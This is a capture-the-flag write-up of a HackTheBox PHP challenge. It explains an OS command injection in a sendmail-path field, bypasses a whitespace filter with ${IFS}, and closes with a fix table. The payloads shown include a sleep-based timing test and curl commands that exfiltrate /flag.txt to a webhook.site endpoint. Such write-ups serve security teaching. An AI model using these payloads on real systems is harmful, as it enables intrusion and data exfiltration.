HackTheBox : Void Whispers Writeup
DEV Community

HackTheBox : Void Whispers Writeup

Summary

The "Void Whispers" mail-settings panel passes the user-supplied sendMailPath field directly into shell_exec("which $sendMailPath") with no escaping. The app only filters literal whitespace, which is trivially bypassed using bash's ${IFS} variable to separate injected commands without using a space character. This allows arbitrary command execution on the server, confirmed via timing delays and an out-of-band webhook callback, and ultimately used to read and exfiltrate /flag.txt.

1. Recon

The challenge presented a Halloween-themed "Void Whispers" mail-settings panel - a small PHP app for configuring the "from name," "from email," "sendmail path," and "mail program" used to send support notifications. The page rendered a form with four fields and a Save button that posts to /update:

  • From Name: Ghostly Support
  • From Email: support@void-whispers.htb
  • Sendmail PATH: /usr/sbin/sendmail
  • Mail Program: sendmail

2. Source Review

A downloadable build archive provided the full server source. Routing goes through a minimal custom router (Router.php) into IndexController.php, which handles both GET / (renders the form) and POST /update (saves settings):

public function updateSetting($router) {
    $from = $_POST['from'];
    $mailProgram = $_POST['mailProgram'];
    $sendMailPath = $_POST['sendMailPath'];
    $email = $_POST['email'];

    if (empty($from) || empty($mailProgram) || empty($sendMailPath) || empty($email)) {
        return $router->jsonify(['message' => 'All fields required!', 'status' => 'danger'], 400);
    }

    if (preg_match('/\s/', $sendMailPath)) {
        return $router->jsonify(['message' => 'Sendmail path should not contain spaces!', 'status' => 'danger'], 400);
    }

    $whichOutput = shell_exec("which $sendMailPath");

    if (empty($whichOutput)) {
        return $router->jsonify(['message' => 'Binary does not exist!', 'status' => 'danger'], 400);
    }
    ...
}

Two things stand out immediately:

  • sendMailPath is passed straight into shell_exec("which $sendMailPath") with no escaping (escapeshellarg / escapeshellcmd are never called).
  • The only validation is a regex that blocks literal whitespace characters (\s). It does not block shell metacharacters like ;, |, `, $(), or && - and critically, bash's ${IFS} variable expands to whitespace at execution time, so it's a ready-made bypass for a "no spaces" filter.

This is a textbook OS command injection: attacker-controlled input reaches a shell with no sanitization beyond a trivially bypassable space check.

3. Exploitation

Step 1 - Confirm the space-filter bypass with a time delay

${IFS} (Internal Field Separator) is treated as a space by the shell but contains no literal space character, so it sails past preg_match('/\s/', ...). Chaining a second command with ; after the legitimate sendmail binary confirms execution:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;sleep${IFS}5'

The request took ~5 seconds to complete. Repeating with sleep${IFS}10 took ~10 seconds - confirming arbitrary command execution, with response time as the oracle.

Step 2 - Out-of-band confirmation

To move past blind timing and get real command output, a webhook.site endpoint was used as an OOB (out-of-band) callback:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>'

The webhook.site inbox logged an inbound GET request from the target server's IP moments later, confirming full outbound command execution capability from the box.

Step 3 - Exfiltrate the flag

With confirmed command execution and outbound connectivity, the flag was read and exfiltrated via command substitution appended as a query parameter:

curl -o /dev/null \
  -X POST http://<target-ip>:<port>/update \
  -d "from=Ghostly Support" \
  -d "email=test@test.com" \
  -d "mailProgram=sendmail" \
  --data-urlencode 'sendMailPath=sendmail;curl${IFS}https://webhook.site/<webhook-id>?x=$(cat${IFS}/flag.txt)'

The webhook.site inbox received a new request with the flag contents in the x query parameter.

4. Result

The captured request on webhook.site showed:

GET /<webhook-id>?x=HTB{REDACTED}

Flag: HTB{REDACTED}

5. Root Cause & Fix

Issue Why it matters Fix
User input passed directly into shell_exec() Any shell metacharacter in the input executes as part of the command Never build shell commands from user input; if a shell call is unavoidable, use escapeshellarg() on every argument
Filter only blocks literal whitespace (\s) ${IFS}, tabs, and other whitespace-equivalent shell constructs bypass a naive space check Use an allowlist of expected binary paths instead of blocklisting characters
which $sendMailPath used to "validate" a path that is later stored and reused Validation logic itself is the injection point Validate against a fixed, known-safe list of binaries rather than shelling out to check existence

The takeaway: blocklisting specific characters (or here, just whitespace) is fragile - shells have many equivalent ways to express the same thing (${IFS}, $IFS$9, tabs, newlines). Any code path that concatenates user input into a shell command needs proper argument escaping or, better, no shell at all.

Comments

No comments yet. Start the discussion.